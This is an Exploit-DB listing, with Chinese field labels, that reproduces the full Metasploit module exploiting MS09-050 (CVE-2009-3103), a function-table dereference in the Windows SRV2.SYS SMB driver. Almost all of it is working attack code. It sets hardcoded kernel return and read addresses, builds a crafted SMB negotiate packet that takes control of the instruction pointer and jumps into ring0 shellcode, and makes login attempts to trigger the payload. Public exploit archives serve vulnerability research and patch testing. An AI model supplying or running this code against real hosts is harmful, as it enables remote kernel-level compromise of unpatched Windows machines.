标题: Microsoft Windows - 'srv2.sys' SMB Negotiate ProcessID Function Table Dereference (MS09-050) (Metasploit) EDB-ID: 16363 CVE: 2009-3103 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ms09_050_smb2_negotiate_func_index.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::KernelMode

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
   'Description'    => %q{
     This module exploits an out of bounds function table dereference in the SMB
    request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
    release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
    without SP1 does not seem affected by this flaw.
   },

   'Author'         => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'MSB', 'MS09-050' ],
     [ 'CVE', '2009-3103' ],
     [ 'BID', '36299' ],
     [ 'OSVDB', '57799' ],
     [ 'URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'           => 1024,
     'StackAdjustment' => -3500,
     'DisableNops'     => true,
     'EncoderType'     => Msf::Encoder::Type::Raw,
     'ExtendedOptions' =>
      {
       'Stager'  => 'stager_sysenter_hook',
      }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows Vista SP1/SP2 and Server 2008 (x86)',
      {
       'Platform'       => 'win',
       'Arch'           => [ ARCH_X86 ],
       'Ret'            => 0xFFD00D09, # "POP ESI; RET" from the kernels HAL memory region ...no ASLR :)
       'ReadAddress'    => 0xFFDF0D04, # A readable address from kernel space (no nulls in address).
       'ProcessIDHigh'  => 0x0217,     # srv2!SrvSnapShotScavengerTimer
       'MagicIndex'     => 0x3FFFFFB4, # (DWORD)( MagicIndex*4 + 0x130 ) == 0
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sep 07 2009'
  ))

  register_options(
   [
    Opt::RPORT(445),
    OptInt.new( 'WAIT', [ true,  "The number of seconds to wait for the attack to complete.", 180 ] )
   ], self.class)
 end

 # Not reliable enough for automation yet
 def autofilter
  false
 end

 def exploit
  print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
  connect

  # we use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
  # and srv2!SrvProcPartialCompleteCompoundedRequest
  dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]

  data  = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
  data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
  data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
  data += [ 0xFFFFFFFF ].pack("V")      # Used in srv2!SrvConsumeDataAndComplete2+0x34
  data += [ 0x42424242 ].pack("V") * 7  # Unused
  data += [ target['MagicIndex'] ].pack("V") # An index to force an increment the SMB header value :) (srv2!SrvConsumeDataAndComplete2+0x7E)
  data += [ 0x41414141 ].pack("V") * 6  # Unused
  data += [ target.ret ].pack("V")      # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
  data += payload.encoded               # Our ring0 -> ring3 shellcode

  # We gain code execution by returning into the SMB packet, begining with its header.
  # The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
  # This will cause an access violation if executed as we can never set EBX to a valid pointer.
  # To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
  # This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
  # We patch the Signature1 value to be a jump forward into our shellcode.
  packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
  packet['Payload']['SMB'].v['Command']       = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
  packet['Payload']['SMB'].v['Flags1']        = 0x18
  packet['Payload']['SMB'].v['Flags2']        = 0xC853
  packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
  packet['Payload']['SMB'].v['Signature1']    = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
  packet['Payload']['SMB'].v['Signature2']    = 0x00000000 # ...
  packet['Payload']['SMB'].v['MultiplexID']   = rand( 0x10000 )
  packet['Payload'].v['Payload']              = data

  packet = packet.to_s

  print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
  sock.put( packet )


  wtime = datastore['WAIT'].to_i
  print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
  stime = Time.now.to_i


  poke_logins = %W{Guest Administrator}
  poke_logins.each do |login|
   begin
    sec = connect(false)
    sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
   rescue ::Exception => e
    sec.socket.close
   end
  end

  while( stime + wtime > Time.now.to_i )
   select(nil, nil, nil, 0.25)
   break if session_created?
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16363